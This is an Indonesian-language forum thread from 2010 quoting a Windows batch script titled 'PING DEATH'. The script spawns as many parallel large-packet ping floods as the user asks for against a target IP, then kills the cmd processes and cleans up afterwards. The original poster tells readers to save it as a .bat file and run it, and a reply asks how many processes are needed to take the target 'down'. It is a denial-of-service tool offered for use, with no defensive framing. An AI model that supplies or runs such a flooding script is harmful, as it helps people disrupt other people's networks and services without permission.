07-15-2010, 09:22 PM
(This post was last modified: 07-16-2010, 12:15 AM by black*shadow.)
(05-13-2009, 11:04 PM)N4is3N Wrote: ketik kode berikut di notepad
Code:@echo off cls echo PING DEATH echo. echo berapa banyak proses ping yg kamu inginkan? set /p amount= if not exist PD md PD cd PD echo Enter the IP: set /p ip= for /L %%A IN (1,1,%amount%) DO echo @echo off > PD%%A.bat for /L %%A IN (1,1,%amount%) DO echo ping -t -l 65500 %ip% >> PD%%A.bat cd.. for /L %%A IN (1,1,%amount%) DO start PD\pd%%A.bat prompt $G$S :a echo Enter 'terminate' to end all processes set /p input= if %input%==terminate goto term goto a :term tasklist /FI "IMAGENAME eq cmd.exe" > PID.txt setLocal EnableDelayedExpansion for /F "skip=4 tokens=1,2*" %%A in (PID.txt) do taskkill /PID %%B echo. echo Kalau error di atas, skrip harus di terminated secara manual cd PD del *.* /Q cd.. rmdir PD goto eof :eof
save dng eks. *bat . sip... tinggal eksekusi aja :D
echo berapa banyak proses ping yg kamu inginkan? berapa banyak angka yang bisa di isi supaya bisa down?
echo Kalau error di atas, skrip harus di terminated secara manual secara manual maksudnya gimana om? masih newbie neh soalnya..mohon pencerahannya.



